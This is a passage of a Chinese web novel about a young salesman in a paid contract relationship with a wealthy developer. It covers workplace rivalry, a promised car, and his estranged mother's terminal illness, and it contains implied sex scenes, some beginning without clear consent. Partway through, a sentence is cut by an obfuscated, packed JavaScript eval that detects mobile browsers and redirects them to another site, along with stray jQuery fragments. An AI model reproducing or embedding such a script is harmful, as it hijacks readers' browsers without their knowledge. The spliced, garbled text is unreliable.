“动筷子吧。”李格笑道,“大家都随意些。” 董默笑着举起酒杯:“贺总,我敬你一杯。” “董老板客气了。”贺颜端起酒杯,轻轻碰了下。 元丰等得花儿都快谢了,万事俱备,贺总这东风怎么还不回来? 他从来没这么迫切地希望金主赶紧回家,亏他花了将近半小时,害着臊给自己做足了准备。 早知道不做了。 越想越不痛快,元丰直接拨了贺总的电话,过了好一会儿电话才被接通。 他压下心中的不快,问道:“贺总,你怎么还不回来啊?” “有应酬,你先睡。” “啊?”元丰始料未及,“那你还回不回来啊?我,我想……” “想什么?” 元丰实在受不了这么腻歪的自己,可开弓没有回头箭,他委屈道:“我想你了啊!你应酬到几点,回来陪陪我好不?” 听筒里传来男人的低笑声:“行,晚点回去陪你。” “……”元丰惊了,他怀疑自己耳朵出毛病了,“贺总,你说啥?” “好了,我这还有事儿。” “哦哦,那我等你啊,贺总。” “嗯,挂了。” 元丰嘀咕,怎么会是这个反应啊?贺总是遇上什么喜事儿了吗? 等表哥挂完电话,李格立刻八卦:“这是处对象了?” 贺颜反问:“你说呢?” “我瞧着像,挺好。”李格说。 陈硕如坐针毡,要多痛苦有多痛苦,他对面的那个董老板,似乎瞧着比他还痛苦。 饭局很快就结束了,贺颜起身准备告辞,被李格拉住:“这才几点?接着续摊。陈助理也别走,人多热闹些。” 陈硕宁愿回家看宫斗剧也不想参加这种无聊的应酬,他为难地看向自家老板:“贺总,我在车里等您,可以吗?” “不续了。”贺颜看了眼董默,“家里还有人等。陈硕,去开车。” “好的,贺总。”陈硕虽是个面瘫,心里却是有些激动的。他打开包间门,火速溜了。 “我走了,你俩慢慢续。” 董默盯着着已经被关上的包间门,一声不吭。一旁的李格耸了耸肩,说道:“他挺难搞的,我劝你放弃比较好。” 元丰正在做美梦,梦里的他终于跟贺总解除包养合同,还找到了新的工作,上任就是业务经理,也不用再面对方远那样的傻逼同事。 真爽啊,可以同时摆脱贺总跟傻缺,全新的人生在等着他。 要是能再遇到一个不会嫌弃他,愿意接纳他全部的另一半,组建一个属于自己的家就更好了。 “啊……” 察觉被什么杵到了,元丰迷糊地睁开双眼,吓得大叫了一嗓子。 “瞎叫什么?” 身后传来熟悉的声音,元丰扭头问:“贺总,你这是干啥啊?我的梦都让你给打断了。” “什么梦?” “不记得了……”元丰想平躺,身子却动弹不得。 贺颜声音低了些:“为什么光着睡?” “不是啊。”元丰用胳膊肘向后推了推,“你先放开我啊。” “不是想我么?”贺颜低笑,“真乖。” 元丰打了个哈欠:“你这么晚才回来,我好困啊,想睡觉……” “你睡你的。” “呃……”元丰拧起眉头,小声抱怨,“你不走,我怎么睡啊……” “眼睛跟嘴都闭上。” “……” “嗯……”元丰迷迷糊糊的,脑子里想着刚才做的梦。 都说后半夜的梦会成真,也不知道现在几点了。 小情儿头回这么乖顺配合,贺颜情绪高涨,心情也痛快不少。 …… 阳光透过窗帘缝隙照射进卧室,元丰赶紧拿起床头柜上的手机,一看快十一点了。 昨天就请了一天假,今天居然旷工了,这还像话吗?太不像话了!他立刻拨通黄总经理的电话,准备再请一天假。 “这嗓子怎么严重成这样了?”电话那头的黄振兴关心道,“小元啊,上医院瞧了没?” “不好意思啊经理,”元丰清了清嗓子,“瞧过了,医生说不要紧。我已经吃过药了,明天就能去上班。” “这身体是革命的本钱哪!养好了再过来,别着急。” 面对总经理的关心与呵护,元丰说不感动那是假的。因为请了两天病假,他深感自责,刚想多说几句感谢之类的话。 “小元啊,方远今天正式调去业务部。我让他先跟着你手底下的业务员学学基础,等你回来再好好带他。” “……”元丰攥紧耳边的手机,压下心中的不快,应了声好。 他始终想不明白,像黄总经理这么明事理的老板,为什么会被方远那个傻缺给拍上了马屁? 说好下个月开始,既然方远提前过来,说明分公司很快就能运作起来。 元丰决定在家好好休息一天,明天不管身体好没好,都得去上班。他要找个机会请黄总经理吃饭,再争取看看能不能留下来。 如果能把方远调去分公司,他不介意多花点心思教会傻缺怎么跑业务。 陈硕早上接到贺总的电话,今天的任务是到锦西湾照顾元丰。在客厅静坐到十一点时,需要照顾的对象终于走出了卧室。 他走过去,礼貌地打起招呼:“元先生,中午好。” 元丰一愣:“陈助理,你怎么来了?” “贺总交代我来照看你,请问身体有什么不适的地方吗?”陈硕观察着元丰的脸色,比昨天好很多。 “……”想到昨晚发生的事儿,元丰顿时臊红了脸。他别扭地咳了一声,“还行吧,就嗓子有些不舒服,吹空调吹的!” “好的,我去帮你倒杯热水。” “谢谢了啊,陈助理。” “不客气。” 元丰考虑要不要继续实施计划,这骚扰短信还发不发。昨晚贺总要是没应酬直接过来,他哪至于等到睡着?说不定今天就解脱了,白瞎了那么好的机会。 不过打铁要趁热,正好跟贺总来完两发,不如借着这个机会要点东西。 贺颜盯着办公室里的不速之客,皱眉道:“过来干什么?” “找你吃饭。放心,就我一人。”李格靠在沙发上,给自己点了根烟。 “想吃什么?”贺颜刚要起身,手机收到一条短信,是熟悉的陌生号码发来的。 “贺总,醒来没见到你,好难过啊。今晚回来陪我吗?我实在是太想你了,你想我不?” 贺颜确实想了,只不过想的是这小子在床上还挺会叫,那身子骨瞧着瘦弱,却是个耐折腾的。 “醒来没见到你,好难过啊。”李格念着短信内容,啧了一声,“真够肉麻的,是嫂子么?” “你什么时候这么八卦了?”贺颜收起手机,起身离开了。 “能让我大哥走神,可不得八卦八卦?”李格跟上,追问道,“是嫂子么?” “不吃滚回去。” “还藏着掖着了……” 元丰激动地给陈硕夹菜,一是因为骨折的胳膊好了,二是因为陈硕第一次留下来吃午饭。 “来,陈助理,尝尝这带鱼。刘姨的手艺是真不错!太好吃了!” “谢谢,元先生你也吃吧,不用再给我夹了。” “你别老叫我元先生啊!”元丰又给陈硕夹了块排骨,“我早就想叫你陈硕了,咱们以后就直呼本名得了,你看行不行?” 陈硕有些迟疑,他从未跟贺总的情人走到这一层,不确定能不能这么做。 元丰看出陈硕的犹豫,端着饭碗坐到了他旁边:“欸,陈硕,吃完饭咱们找部电影或电视剧看看,你有啥喜欢的不?” “……”陈硕回道,“没有特别喜欢的,有时间会看看宫斗剧和推理剧。” “我操,你还看宫斗剧啊!”元丰笑着说,“我很少看电视,那一会儿咱们找个宫斗剧看看。” “好。” “我都喊你陈硕了,你不叫我一声,不合适啊。” “……” 元丰怕陈硕有顾虑,他拍了拍胸脯:“你放心,在贺总面前,我还叫你陈助理,你也叫我元先生。咱俩私底下,就别这么客气了。” “好吧。”陈硕顿了片刻,别扭地吐出两个字,“元……丰。” 元丰扑哧一笑:“我发现你这人其实挺有意思啊。” “……” “对了,你会不会笑啊?” “……” 9. 第 9 章 李格往嘴里塞了一块鲷鱼刺身,还没嚼两下,对面的男人发话了。 “说正事儿。” 他擦了擦手,直白道:“好歹曾经处过,不至于老死不相往来。” “少管我的事儿。”贺颜说。 “我哪儿敢管你?”李格笑问,“所以我是不是真有大嫂了?要有我再劝劝董默。撒谎这事儿我可不干,毕竟是我兄弟。” 贺颜没有吃回头草的习惯,何况董默还算不上回头草。碍于多了李格这层关系,他敷衍地点了点头。 “操,真有了?”李格更好奇了,“什么时候带出来见见?肯定不是一般人。” 贺颜不想再谈这个话题:“吃你的饭,吃完赶紧回去。” “我姨妈知道么?”李格又问。 “行了,话多。” “别藏着,跟我说说。” 元丰把刚处上的新朋友一路送到单元楼底下,又跟着送上车。他看着降下的车窗,笑道:“刘姨马上来了,你就留下来吃过晚饭再走呗?” 陈硕说了声谢谢:“下次吧,我得回去了。” “客气啥啊。”元丰放松了一下午,心情很舒畅。他挥了挥手:“那你慢点儿啊。” “好,有需要再给我打电话。” “嗯。” 元丰盯着远去的车屁股,思考着该问贺总要什么牌子的汽车比较好。 他转身走进单元楼,还没进电梯,裤兜里的手机响了。来电的是个有些眼熟的陌生号码,一接通,他就听到了熟悉的冷嘲热讽。 “元经理都两天没来上班了,还怪想的。”电话那头笑着关心道,“怎么了这是?受刺激了?” 事情或许还有转机,元丰忍着破口大骂的冲动,呵呵一笑:“不劳你惦记,有屁快放。” “打你电话呢,就是想送你四个字儿。”方远讥笑道,“趁早滚蛋!” 元丰听到刺耳的笑声,平静地回怼道:“我的事儿,还轮不到你来指手画脚。” “今天我就调到业务部了,还请元经理多多指教啊。”方远挑衅道。 元丰听着傻逼的声音直犯恶心,连话都懒得多说,迅速掐断电话。 因为这通电话,他不光打消了辞职的念头,连黄总经理那儿也不打算去争取了。 方远能打电话过来挑衅自己,足以说明一切。他决定听从上头安排,去分公司好好努力,重新把业务做起来。以方远那傻缺的水平,没准不出几个月,总经理就会召他回去了。 燃起斗志的元丰没有被傻缺影响到心情,回家后继续看起陈硕推荐的《甄嬛传》。 看着这帮明里和睦却暗地较劲的嫔妃,他突然觉得宫斗剧也挺有意思的,像方远那种脑残,恐怕还没入宫就直接领盒饭了。 刘秀珍走到客厅:“先生,饭做好了。” 元丰按下暂停键,起身冲保姆笑了笑:“辛苦刘姨了,要不坐下一块儿吃完再走吧?” “不不不。”刘秀珍解下围裙说,“今天是我儿子生日,我还得赶紧回去准备准备。” “啊……”元丰不好意思地道了个歉,“刘姨,你要有事儿就不用过来了。我都不知道,真是不好意思啊,祝你儿子生日快乐!” “哎哟……”刘秀珍笑着说,“谢谢先生,一点儿都不耽误工夫。我现在得回去了,你慢慢吃。” “好,刘姨你慢点儿。” 元丰一个人坐在餐桌前安静地吃饭,脑子里回想着刘姨说到儿子时的满面笑容,真好啊。 对于父母,元丰恨过也感激过,至少在前十一年的人生里,自己是有家的。 他忆起了走前的那个晚上,母亲抱着他哽咽。 “小丰……是妈对不起你……妈舍不得你……” “你赵叔是城里回来的,是个好人。他能给你瞧病,还能供你上学。你……好好听赵叔的话,晓得不?” “妈得空就去看你,啊?” “好孩子……” 贺颜一进屋,就见元丰盯着桌上的菜发呆,眼眶似乎有些红。 他走过去:“菜不合胃口?” “啊,贺总你回来了。”元丰迅速低下头,用手背来回擦着湿润的眼眶。 贺颜走到元丰身边坐下,拿开他的手:“头抬起来,怎么回事儿?” “没怎么啊。”元丰赶紧解释,“刚才吃辣椒呛着了,咳了好一阵,咳得眼泪都出来了。” 贺颜松开他的手,说道:“吃饭吧。” “贺总你吃了没?我去给你盛饭。”元丰说着就要站起身,却被贺总按住了肩膀。 “我自己盛,你吃你的。” 元丰头回跟贺总面对面,正儿八经地在家里吃晚饭。他现在根本没心情继续昨晚的计划,也不想去思考那些心烦的事儿。 算了,反正今天都休息,解除合同不差这一天两天。 “工作不顺心了?” “……”元丰不知道贺总怎么突然问这个,他立刻吞下嘴里的饭,说,“还行,跑业务就不是个顺心的活儿。” 贺颜应了声:“能跑上业务经理,挺不容易。” 确实很不容易,经历过的那些辛酸只有元丰自己知道,所以他更不想轻易放弃。 他主动问道:“贺总,你是干啥的啊?” 贺颜简短道:“卖房子的。” 元丰不信贺总只是个卖房子的,出手这么阔绰,怎么着也得是个总经理级别的。 他好奇道:“卖哪种房子啊?是现在住的这种不?” “嗯。” 元丰又问:“贺总你是不是总经理啊?” 贺颜不太喜欢跟情人聊这些事儿,不过元丰一脸好奇的模样瞧着有点傻。 他淡淡说道:“锦西湾就是我们公司开发的,我是老板。” “你,你是恒信集团的老板?!”元丰惊了。 贺颜点头,“投了个好胎。” “……” 元丰为了买房,看过好多处楼盘,知道锦西湾是哪家地产公司开发的,却万万没想到恒信集团的老板就坐在他对面,跟他一块儿吃晚饭,这忒吓人了。 自己想要房要车的事儿,还能不能继续了? 贺颜被元丰吃惊的模样逗笑了:“所以好好伺候我,比什么都强。” “……”元丰语塞。 这哪里是投胎啊,分明是开挂! 贺总不是单纯来吃饭的,今晚少不了又得挨一炮。洗完澡后,元丰光溜溜地爬上床。 他小心地问道:“贺总,你不是说给我一星期的假吗?你不会说话不算话吧?” “不会。”贺颜把元丰拽到跟前,“所以今天还是后头。” “……”元丰立刻坐起来,“没你这么算的啊,你这,你这是赖皮!” “闹什么,昨晚不是挺爽?”贺颜摸上元丰的后脑勺。 元丰抗拒地后退,“我这也有两天假期,还剩一天!” 贺颜笑了笑:“跟我闹,就不是一回了。” 明天要上班,还要面对方远那个傻缺,元丰必须养足精神,早点睡才行。权衡一番后,他妥协了,但不满道:“说好了就一回啊,我明天要上班。” “行了,别废话。” “……” 元丰再次安慰自己,反正今天都休息了,这一炮你就受着吧。 再说了,也挺舒服的不是? “头顶的太阳,燃烧着青春的余热。它从来不会放弃,照耀着我们行进……” “寒冬不经过这里,那只是迷雾——”元丰迷糊地跟着闹铃一起哼唱起来,打算再眯个两分钟。 “吵什么?” 元丰冷不丁地打了个哆嗦,以为自己幻听了。他赶紧关掉手机闹铃坐起来,侧头一看,身边居然睡着一个全身赤裸的猛男。 这……贺总怎么会睡在这儿?难道自己昨晚忘记去客房了? 他想起来了,贺总昨晚一直折腾他,他累得连澡都没洗就直接睡着了。 妈的,这变态就是个言而无信的大骗子,明明说好只做一回的。 “几点了?” “七点十六,贺总你继续睡啊,我先走了。”元丰攥着手机准备下床穿拖鞋,却被刚坐起身的男人给拖了回去,猛地扑倒在对方结实的大腿上。 他用力推开,大声嚷嚷道:“干啥啊你,我这赶时间呢,不能迟到!” “你这敬业精神,分一半在床上倒挺不错。”贺颜一笑,“昨晚叫得很好。” “……”元丰脸色一变,刚想怼回去,落了一天的计划又钻进脑子里。他别扭地说道:“贺总满意就行,那我有没有奖励啊?” 贺颜对元丰昨晚毫不抗拒的表现确实很满意,他问:“想要什么?” “贺总,我先去洗澡啊,等想好了再告诉你,行不?” “去吧。” 元丰洗澡时想起昨天忘记告诉陈硕自己今天要上班,只能打车去公司了。 他到现在都没消化贺总是恒信集团老总的事实,这么有钱的情况下,他要车贺总应该会同意吧?可他的目的并不是要车,如果贺总轻易给了,那还谈什么解除合同。 算了,先要了试试看。 “先生,早点都弄好了,快来吃吧。”刘秀珍笑着说。 “好,我拿俩肉包子就走。”元丰问,“刘姨,能帮我装袋子里吗?” “能啊,我这就去给你装。” 元丰说完谢谢,跟正在吃早点的贺总打了声招呼。 贺颜应了声:“着什么急?吃完再去上班。” “我忘记跟陈助理说了。”元丰解释,“得走到路口去打车,包子我路上再吃。” 贺颜抬眼将站在跟前的元丰从头扫到脚,他说:“坐下来吃,待会儿我送你。” 元丰被惊到了,贺总居然要送他上班?虽然不太想接受,但眼下是个好机会,他拉开椅子坐下来,笑着说了声谢谢贺总。 * “贺总,这方向盘真好看啊。”元丰伸长手臂摸了摸方向盘,露出了羡慕的神情。 贺颜问:“你来开?” “啊,不要不要。”元丰收回手坐正身子,“我好久之前学的,都忘记怎么开了。” 早高峰容易堵车,贺颜没再多说。 等第一个红绿灯时,元丰试探道:“贺总,我胳膊已经好了。以后别让陈助理接送了,你有没有时间陪我去买个电动车啊?” “买什么电动车?”贺颜说,“让陈硕接送。” “可是我想自己骑。”元丰声音低了些,“要不贺总借我一辆车开开啊?我不好意思老麻烦陈助理。” 贺颜笑了:“车都不会开,还想要车?” “……”元丰突然觉得不应该说借,怎么能跟计划背道而驰呢?就该厚颜无耻地要才对,惹得贺总反感自己更好。 红灯跳过,贺颜踩下油门,继续开着车。 “贺总,我们单位有一经理跟我不太对付,我特讨厌他。”元丰想到方远,就恨得咬牙切齿。 他继续说道:“他前阵子开了辆宝马来上班,听说那车要三十来万。你车那么多,送我一辆呗?” 贺颜没懂元丰的脑回路,稀奇道:“怎么个意思?” 元丰想了想,说:“就是送我一辆车啊,你第一次送我回家的那车,我挺喜欢的,看着特别酷炫。等我开去公司,就能出口恶气了!” 贺颜调侃道:“你这细胳膊细腿的,挺会挑。” “……”元丰有些摸不准贺总的态度,按理说真要送的话,肯定当场就会同意,而不是岔开话题。 到了公司门口,元丰下车前不死心地又问了一遍:“贺总,你到底送不送啊?” 贺颜盯着元丰那张白嫩的小脸,好像很急。他笑着拒绝:“送不了。” “你,你这么有钱还……”元丰不爽地怼了句“抠门精”,关上车门溜了。 贺颜看向窗外正在过马路的身影,拨通了助理的电话。 元丰心情复杂地走进业务部,没想到有人比他先到了。 他快步走进敞开着的经理办公室,冷声质问道:“谁允许你坐这儿的?” 方远翘着二郎腿,冲他挑衅一笑:“这椅子到底是不一样,坐着可比售后部那张舒服。” 元丰一把掐住方远的胳膊用力往外拉:“滚出去!” 方远使劲挥开,随后才站起来,嫌弃地擦了擦胳膊被掐过的部位:“还能不能好好说话了?动手动脚的样子,真够难看的。” 元丰不想跟傻缺多废话,他简短交代:“你今天跟着马晓东,先跑一个月的业务再说。” “一个月?”方远脸色一黑,“总经理可明确说了,我得跟在你手底下学,别想敷衍了事。正好让我见识见识,元经理是怎么谈业务的。” 元丰忍住暴打方远的冲动,嘲讽道:“还没断奶就想学走路?既然来了业务部,现在都他妈我说了算。滚出去,等马晓东来了自己去找他。” “你!行,咱们走着瞧。”方远恨恨地瞪了元丰一眼,离开了办公室。 办公室陆续有业务员进来,等人到齐后,元丰把业务员们召集到跟前开会。他无视杨伟和方远,让大家抓紧月底最后的时间,争取再冲一波业绩。 分公司在邻市,元丰想带走一个业务员。他将业务员们挨个扫了一遍,在心里把每个人的业务能力估算了下。 杨伟这吃里爬外的马屁精就不用看了,马晓东和其他几个干得还行。做得最好的是赵志鹏,比较合他心意,就是不知道对方母亲身体好些没,愿不愿意跟着自己去分公司闯一闯。 他打算回头找个机会,跟赵志鹏好好谈一谈。 开完会,元丰去了趟总经理办公室,表明了自己想带走一个业务员的想法。 总经理黄振兴拍着他的肩膀说:“没问题!小元啊,真是辛苦你了。你这回过去,底薪给你涨一千,还有住宿补贴,再给你加个五百。” 元丰听了并没有多高兴,他笑着说:“谢谢总经理,分公司那儿什么时候弄好?” “也就这一两个月了,回头提前通知你。” 元丰点点头:“好的,我明白了。” “好好干啊,小元。” “请总经理放心,我一定好好干!” 中午,元丰准备出去吃饭,被前台的小美给叫住了。他想着既然已经跟小美说开,一起吃个饭问题也不大,便同意了。 “丰哥,你胳膊好了!”小美关心道,“感冒也好了吗?” “嗯,本来也不严重,喝点感冒冲剂就好了。”元丰笑着回道。 等出了公司大门,小美才问:“丰哥,我听说方远马上要当业务经理了,是真的吗?” 元丰点头:“是真的,总经理派我去分公司。” “原来是真的,为什么?”小美有些难过,“分公司又不在这儿,那我以后是不是见不着你了?” “没事儿,我有空还回来呢。”元丰说,“开车一小时就到了,不远。” “真不知道总经理怎么想的,要去也应该让方远去才是。” 怎么想的,元丰心里自然清楚明白。就算没有方远这一出,总经理恐怕也会让他先去分公司打下基础。 “去了也好,多锻炼锻炼。” 八月末的天,依旧三十多度的高温。元丰提着公文包,不疾不缓地走在街边上。他先去奶茶店买了两杯加冰的红茶,才朝着大食堂的方向走去。 “给。”元丰把红茶递给陈硕,“晚上留下来吃饭不?吃完看两集甄嬛传再回去。” “今天没办法看了,有别的事情要做。” 元丰现在把陈硕当朋友看待,没了八卦的心思。再说今天提了要车的事儿,贺总好像不高兴了,自己再加把劲努努力,结束合同指日可待。 汽车没朝着锦西湾的方向开,还越开越偏僻。元丰实在好奇要去哪里,忍不住问道:“陈硕,咱们这是去哪儿啊?” 陈硕直视前方,简短地说:“马上到了。” “哦哦,那你开你的。” 等车子停下后,元丰看着空旷的柏油大道,纳闷道:“到这儿?” “嗯,这条路刚修建好,没什么车。”陈硕解开安全带,问,“你什么时候考的驾照?还记得怎么开车吗?” “啊?”元丰傻眼了,“我三年前学的,不太记得了。” 陈硕心里大概有了数,他说:“不记得没事,我教你。先下车换位置,我把基本的跟你讲一下。” 元丰一脸懵逼地下了车:“陈硕,怎么回事儿啊?” “贺总让我教会你开车。” “……” 正是因为贺总早上的态度,所以元丰压根没想到这一茬。贺总这是要送车给他了?真的假的啊? “教会我开车,难道贺总要给我买车啊?” “嗯。”陈硕说,“不过得等你学会。” “……”元丰无语,贺总是不是大方得有些过头了?“先上车,我跟你说说基本的操作。” “等等。”元丰突然说,“陈硕,我问你一个问题啊。跟贺总有关的,能问不?” 虽然关系近了些,但陈硕绝不可能出卖自己的衣食父母。他迟疑了下说:“你问吧,能回答我就告诉你。” “贺总有没有给别的情人买过车啊?” 陈硕一时犯难,不确定这个问题能不能回答。 这个答案关乎到元丰的计划,如果贺总给别的情人买过车,那他还要个屁?他要车就是为了解除合同而已。 在看到陈硕有些为难的表情时,他确定了:“买过是不是?我不是想跟贺总计较,就是不好意思要车,怕心里有负担。如果他给别的情人买过,那我就放心了。” 陈硕没回答,点了点头。 “陈硕,我不学了。”元丰打开副驾车门坐了进去,他说,“我还是喜欢骑电动车,养车太贵了。” “……”陈硕没懂元丰什么意思,解释道,“养车的一切费用不需要你操心。” “我知道,但我肯定不能依赖贺总一辈子啊。我将来会有自己的生活,到时候再考虑学车的事儿吧。现在学会了,几年不开还得忘。” 陈硕站在朋友的立场上劝了两句,但元丰死活不肯学。他只能放弃,将人送回了锦西湾。 回去的路上,元丰都在想着怎么才能解除合同。明明发了过界的短信,贺总却没生气,今天早上还送他上班了。如果要房要车都不能打消贺总的念头,那要了还有什么意义? 到家后,桌上已经放着丰盛的四菜一汤。 保姆刘秀珍笑着跟元丰说:“先生回来了,我去给你盛饭。” “没事儿,刘姨你回去吧。”元丰跟去厨房,抢过刘秀珍手里的碗和饭勺。 “那行。”刘秀珍笑呵呵道,“我先回去了啊。” “好嘞,刘姨你慢点儿。” 动筷子前,元丰犹豫着要不要给贺总打一通电话说说买车的事儿。 算了,吃完再说吧。 元丰把没吃完的菜端进冰箱,准备洗碗时,接到了兄弟打来的电话。他擦了擦手,接通了。 “喂?” “小丰,吃了没啊?”许辉问道。 “刚吃完,这阵子忙得都没时间上你那儿,咋样啊?” “挺好,你忙你的,工作要紧。” 兄弟二人寒暄了一番,元丰直觉许辉有什么话想说。他主动问道:“是不是遇上啥事儿了?” “没啥事儿。”许辉又扯了几句别的,突然问,“小丰,你想过回去看看吗?” 元丰沉默了,这个问题他想过无数次。跟着那个老变态走时,他还想着等治好病就能回家看父母了。 “对不起啊,小丰。你说我没事儿提这个干啥……”许辉叹了口气,“我本来不想告诉你的,其实上回你来找我,我就想问问你了。我也是听我妈提了好几回,他们在找你。” 元丰似乎不敢相信:“他们在找我?” “咱俩这么多年了,我知道你的,这不是怕你有遗憾吗?”许辉说,“你妈想见你最后一面。” 元丰一怔:“最后一面?” “是啊,说是尿毒症。从县城的医院回来了,不打算治了。” “……” 挂完电话后,元丰一个人在客厅里静坐着。他想了很多很多,回忆起了那不算愉快的童年。 老实说,他已经忘了弟弟妹妹们的长相,就连父母的长相也在漫长的岁月里,变得模糊。 他在心里反复问自己,真的能做到见死不救吗?要不要回去见上一面…… 贺颜打开门,见到与昨天相同的画面。元丰坐在餐桌前,正盯着桌上的纸发呆。 他出声打破平静:“在干什么?” 元丰闻声,慌乱收起桌上的纸和笔,随后才抬头招呼道:“贺总,你回来了。” “嗯。”贺颜走到元丰跟前,摊开手掌,“拿出来。” “……”元丰把黑色水笔放在贺总的掌心里,装起傻,“这笔特别好写,看完还给我啊。” “还有。”贺颜耐着性子说道。 虽然纸上没写什么东西,但元丰并不想给贺总看,他找了个借口:“最近刚签了个单子,我在算账,没啥好看的。” “拿过来。” “……” 元丰不得已把捏成团的纸递给贺总,他嘀咕道:“本来就没啥好看的啊,还非要看……” 贺颜展开纸团,上面写着汉字和不少阿拉伯数字,过于潦草的字迹似乎在透露主人的急躁。若不是数字与包养费高度重合,确实像个订单信息。 他将纸还给元丰,问:“十三万是你自己的存款?” “……”元丰张了张嘴,低头看着皱巴巴的A4纸,说了声“是”。 纸上写了他这十年里攒下的全部积蓄,精确到小数点,是136742.11。后面是车祸得到的五万赔偿款和十五万包养费,还有车zhen那回给的五万奖励。 其实贺总给的那部分,他一直都觉得给太多了,本想等走的时候少拿个两三万,再退还给对方。但换肾的费用远远超出他能承受的范围,何况他没有倾尽全部的想法,自己这日子还要过下去。 不算贺总那些钱,对于父母的生养之恩,给个十五万应该可以了吧。 可这些好像没法用金钱来衡量,十五万连换肾手术费都不够,自己这样算是见死不救吗? 这小子瞧着确实不太对劲,贺颜伸手摸了摸他的脑袋,语气还算温和:“算这个干什么?” 元丰心里很烦,低声敷衍道:“一直想买房,就算算有多少钱。” 贺颜点了点他的脑瓜子,打趣道:“多分些敬业精神在床上,这房子不就来了么?” 元丰因为贺总的话,沉默了。他觉得自己卡在一个死胡同里,进退两难。 十五万根本不够救命,可五六十万的费用要怎么凑?如果真的要凑这么多钱,别说结束合同,他唯一的办法只剩下讨好贺总,争取再挣俩月的包养费。 * “吃饱了么?力气这么小。”贺颜趴在床上,享受着小情儿提供的推拿服务。 元丰按得手都酸了,忍不住抱怨道:“这肉太硬了啊,按不动。” 贺颜笑了:“不是想要车?陈硕教你,为什么不肯学?” 元丰犹豫了一会儿,问道:“贺总,你真的给我买车啊?” “嗯,你这几天表现不错。”贺颜说,“等车技在陈硕那儿过关了,再买。” “哦,那我有空学学。” 元丰突然觉得,其实贺总这人并不坏。之前老和他不对付也是因为自己这不从那不干的,把人给惹毛了。 “贺总,谢谢你啊……” 贺颜翻身坐起来:“嘴上说谢就完了?” …… 元丰不敢把路给堵死,这天晚上,他第一次将贺总当成金主,拿出对待工作的敬业精神,用实际行动讨好着床上的老板。 心不在焉地上了两天班,元丰连方远那傻缺都懒得多看一眼。 这两天里,他时常想起自己的小时候,童年的记忆碎片在脑海中逐渐拼凑完整。原本模糊的那几张脸,竟也渐渐清晰。 他想起母亲带他去赶集时, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13658613|144025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 偷偷给他买的那块奶油蛋糕,上面还撒着裹了白糖的红绿丝。 回村的路上,母亲笑着问他:“小丰,你咋不吃?” 他高兴地捧着蛋糕:“妈,这蛋糕真好看,我舍不得吃。” “傻孩子,路上不吃完它就发霉了,快吃。” “妈,你也吃一口。” “哎哟,真甜……” 第三天午休时,元丰拨通兄弟的电话,询问了具体情况,得知母亲已是尿毒症终末期,只能依靠每天四次的透析来续命。 前期瞧病几乎掏空了家底,现在靠村里发起募集到的那一万多块钱捐款,勉强维持着。听许辉母亲说,他爸正在到处托人打听他的下落。 “唉,我就知道你这小子心软啊……”许辉叹了口气,“回去看看吧,别有遗憾。多的没有,我这儿准备了一万块钱,你带回去吧。” “不用,我这儿有钱。” “你有钱是你的事儿,我支付宝给你转过去,是兄弟你就别拒绝,听到没?” “你自己留着啊,以后娶媳妇儿,有你花钱的地方。” “去去去,来人修车了,我先不跟你说了啊。” 挂完电话没多久,元丰收到许辉转过来的一万块钱,还有一条微信消息。许辉警告他不许转回去,不然跟他没完。 他盯着手机屏幕里的消息,吸了吸有些发酸的鼻子。 “哟,元经理饭都不吃,在这儿思考人生呢?”方远走进办公室,笑道。 元丰收起手机,冷冷地瞥了他一眼,起身离开了办公室。 被无视的方远扭头看向离开的那道瘦弱背影,轻啐一声:“什么玩意儿,操。” 元丰去了总经理办公室,说自己家里有事儿,想请三天假回去看看。黄振兴瞧他脸色不大好,关心了几句,批准了。 请完假后,他琢磨着是不是也该给贺总发短信请个假,毕竟要走三天。 “贺总,你晚上还过来吗?” 消停了几天的骚扰短信又来了,这回倒没加上“我想你”三个字。 鉴于元丰连着几晚的良好表现,贺颜回了电话过去。 元丰没指望贺总回信息,刚要发微信问问陈硕,贺总的电话来了。他快速找了个安静的角落,接通电话。 “喂,贺总。” “晚上有应酬,甭等我吃饭。” “哦……”元丰松了口气,虽然很舒服,可身体是革命的本钱,他还不想这么早就掏空了升上天。 “怎么?”电话里的男声笑着问,“上瘾了?” “不是!”元丰立刻说起正事儿,“贺总,我想跟你请三天假,行不?” “也行,正好换个。” “……”元丰脸色一黑,赶忙说,“不是这个意思啊,我要回老家一趟,家里有点事儿,明天上午就走。” “老家在哪儿?” “说了你也不认识,在汶沟镇。” 贺颜还真没听过什么汶沟镇,估计是哪个偏远地区。元丰突然要回去恐怕是有急事儿,他问:“有一千公里么?不行让陈硕送你回去。” “有,我已经在网上订了火车票,不用他送。” “行吧,自己注意点儿。” 电话那头传来讨好的笑声:“谢谢贺总!” “嗯,挂了吧。” “好的,贺总再见啊。” 晚上的应酬是好友乔安攒的局,贺颜可去可不去,养了这么些天,应该是时候了。 等元丰上了车,陈硕开口问道:“今天学吗?” “先不学了,我明天回老家。”元丰说,“等我回来再看情况,要学的话,我跟你说。” 陈硕有些意外:“你要回老家?” “是啊,家里有点事儿。”元丰突然问,“陈硕,你是本地人不?” 陈硕摇头:“不是,我在这里上的大学,毕业后就留下来了。” “哦,那应该也好多年了,会很想家吧……” “还行,不想。” “……” 怪不得性子有些冷,元丰不好意思再八卦陈硕的隐私,缓缓说道:“我出来有十一年了,头几年还没想过,这回仔细想了想,决定回去看看。” 陈硕察觉到元丰的情绪,也听懂了话里的意思。他说:“想回去就回去,跟着自己的想法,总不会有错。” “你说得对,先回去看看再说。”元丰靠向椅背,感慨道,“这人生啊,还是不能有遗憾……” “是这样。” “我是不是太啰唆了?你开车吧。” “不啰唆。” “哦,那就好。贺总老嫌我啰唆,说我话多。” “我觉得还好。” 元丰回到家,先收拾了三身衣服,随后带着钱包去小区附近的ATM机上取了五千块钱。他通过手机网银转账,从存着三十多万人民币的银行卡里转了十五万到另一张卡上。 他不知道自己这么做对不对,如果换肾就能好起来的话,是不是该倾尽所有去救活给过他生命的母亲…… 